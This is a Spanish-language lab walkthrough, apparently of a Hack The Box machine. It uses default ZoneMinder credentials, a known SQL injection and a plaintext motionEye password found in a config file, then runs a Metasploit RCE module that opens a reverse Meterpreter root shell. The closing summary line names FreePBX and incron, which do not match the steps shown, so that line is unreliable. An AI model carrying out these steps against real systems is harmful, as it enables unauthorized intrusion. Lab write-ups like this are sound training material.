Al entrar, encontramos una página de un servicio SecureVision que se encarga, al parecer, de proporcionar “soluciones de seguridad” a sus clientes: CCTV, Control de acceso, consultas a profesionales, puertas de seguridad, keypads…
En la página solo encontramos los botones Staff Login y Get a Quote, pero el segundo nos lleva a mandar un email, así que pulsamos el primero a ver a dónde nos lleva.
Vemos que estamos en un panel de login de la aplicación ZoneMinder, si pulsamos del texto ZoneMinder arriba a la izquierda (naranja), se abre un desplegable con los botones ZoneMinder, Documentation y Support. Aunque los 3 botones nos lleven a páginas externas, desde ellas podemos saber qué es ZoneMinder:
ZoneMinder is a free, open source Closed-circuit television software application developed for Linux which supports IP, USB and Analog cameras.
En Internet veo que es posible conseguir la versión con un solicitud a su API:
Pero, desgraciadamente, no tenemos permiso para verla. De todas formas, busco en Internet de nuevo y veo:
ZoneMinder’s default credentials for the web interface are username admin and password admin. It is highly recommended to change these immediately upon setup via the Options > Users menu to secure the system.
Las pruebo y:
Ahora sí solicito la versión:
1
2
3
4
5
6
# Tomando la cookie de sesión desde Firefox (podía haber solicitado a la API directamente desde ahí)$ curl -s http://cctv.htb/zm/api/host/getVersion.json --cookie "ZMSESSID=h251pgm92tcs091oth3lu25e7r"| jq
{"version": "1.37.63",
"apiversion": "2.0"}
Así que tenemos delante a ZoneMinder 1.37.63, que, tras una búsqueda, cuenta con un CVE 9.9 CRITICAL: CVE-2024-51482.
Se trata de una boolean based SQLi, es decir, que si lo hiciésemos manualmente nos costaría un rato (bastante largo) conseguir los hashes de la DB, así que usamos SQLMap (que también usan en el propio report de la vulnerabilidad en GitHub):
Como vamos a tardar años en que una blind boolean-based nos devuelva toda la DB y aprovechando que ZoneMinder es vulnerable, lo que podemos hacer es mirar el nombre de la DB y de la tabla en que se guardan las credenciales y hacer que sólamente se dumpee eso. Tras mirar en Internet:
ZoneMinder saves user credentials (usernames and hashed passwords) in a MySQL/MariaDB database named zm. The table name is Users and the column names are Username and Password
admin:admin son las credenciales por defecto que nos han permitido enumerar la versión, pero mark:opensesame son más “personales”. Probamos a conectarnos por ssh:
Muchas interfaces de red vethb9136e0, veth54ff6b7, br-3e74116c4022, etc.
Posiblemente sean containers de Docker, de hecho LinPeas ha detectado Docker, pero no que estuviésemos en un container, así que es posible que haya containers ejecutándose.
br-... es un puente para que los containers se comuniquen entre ellos.
veth... son interfaces para unir cada container al puente
No tenemos nada que parezca un vector de escalada de privilegios directo, pero podemos usar tcpdump para ponernos en escucha y capturar info de las interfaces de red, que no son pocas. Primero tenemos que ver qué hace cada una.
Hacemos port forwarding a los puertos locales y los analizamos:
MediaMTX is a ready-to-use and zero-dependency live media server and media proxy. It has been conceived as a “media router” that routes media streams from one end to the other.
127.0.0.1:8554: MediaMTX (Conexiones RTSP)
Miramos si hay vulnerabilidades para alguna:
Motion 4.7.1 no es vulnerable
motionEye/0.43.1b4 es vulnerable a CVE-2025-60787 y CVE-2025-47782 (RCE en función add_camera)
Hay incluso módulos de Metasploit: exploit/linux/http/motioneye_auth_rce_cve_2025_60787
De MediaMTX no tenemos versión así que no podemos saberlo
$ msfconsole
msf > use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > show options
Module options (exploit/linux/http/motioneye_auth_rce_cve_2025_60787):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password used to authenticate to MotionEye
...[SNIP]...
Necesitamos contraseña para ejecutarlo, así que buscamos credenciales por defecto, que resultan ser admin:"" (contraseña vacía), pero probamos y sale Invalid credentials.. Buscamos en otros archivos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mark@cctv:~$ cd /etc/motioneye/
mark@cctv:/etc/motioneye$ ls
camera-1.conf motion.conf motioneye.conf
mark@cctv:/etc/motioneye$ cat motion.conf
# @admin_username admin# @normal_username user# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0# @lang en# @enabled on# @normal_password setup_mode off
webcontrol_port 7999webcontrol_interface 1webcontrol_localhost on
webcontrol_parms 2camera camera-1.conf
Probamos con user:"", y:
Ahora volvemos a Metasploit
1
2
3
4
5
6
7
8
# Configuramos todo...msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > run
[*] Started reverse TCP handler on 10.10.15.64:4444
[*] Running automatic check ("set AutoCheck false" to disable)[+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable
[*] Adding malicious camera...
[-] Exploit aborted due to failure: unexpected-reply: 127.0.0.1:8765 Server did not respond with the expected HTTP 200[*] Exploit completed, but no session was created.
Posiblemente sea porque con cuenta de usuario no nos deja explotar la vulnerabilidad, aunque, de todas formas, si, como vemos en el archivo, admin_password y admin_username están comentados (#), debería dejarnos iniciar sesión con las credenciales por defecto admin:"" porque, de nuevo, las del archivo no deberían tener efecto, pero no nos deja.
Todo esto es raro porque el hash 989c5a8ee87a0e9521ec81a79187d162109282f0 no parece poderse descifrar fácilmente (Si lo pasamos a Crackstation, dice que no puede descifrarlo). Además, si metemos el hash a hashid:
1
2
3
4
5
6
7
8
9
10
11
$ hashid 989c5a8ee87a0e9521ec81a79187d162109282f0
Analyzing '989c5a8ee87a0e9521ec81a79187d162109282f0'[+] SHA-1 # Este es el caso[+] Double SHA-1
[+] RIPEMD-160
[+] Haval-160
[+] Tiger-160
[+] HAS-160
[+] LinkedIn
[+] Skein-256(160)[+] Skein-512(160)
Y de entre todos estos, podemos filtrar a uno específico con una búsqueda:
MotionEye stores the web‑interface admin password using SHA‑1 hashing
Pero ni siquiera con hashcat consigo descifrarlo, lo que no tiene mucho sentido porque no parece haber otra vía para escalar privilegios.
Tras un rato (no despreciable), pruebo a usar el “hash” no como hash, sino como contraseña, es decir, pruebo a iniciar sesión con la combinación admin:989c5a8ee87a0e9521ec81a79187d162109282f0:
Y confirmamos que no era un hash, sino que se trataba de la contraseña en texto plano. Así que volvemos a Metasploit y ajustamos la configuración:
1
2
3
4
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set username admin
username => admin
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set password 989c5a8ee87a0e9521ec81a79187d162109282f0
password => 989c5a8ee87a0e9521ec81a79187d162109282f0
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > run
[*] Started reverse TCP handler on 10.10.15.64:4444
[*] Running automatic check ("set AutoCheck false" to disable)[+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable
[*] Adding malicious camera...
[+] Camera successfully added
[*] Setting up exploit...
[+] Exploit setup complete
[*] Triggering exploit...
[+] Exploit triggered, waiting for session...
[*] Sending stage (3090404 bytes) to cctv.htb
[*] Meterpreter session 1 opened (10.10.15.64:4444 -> cctv.htb:57290) at 2026-03-09 15:27:18 -0400
[*] Removing camera
[+] Camera removed successfully
meterpreter > shell
Process 3118 created.
Channel 1 created.
whoami
root
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.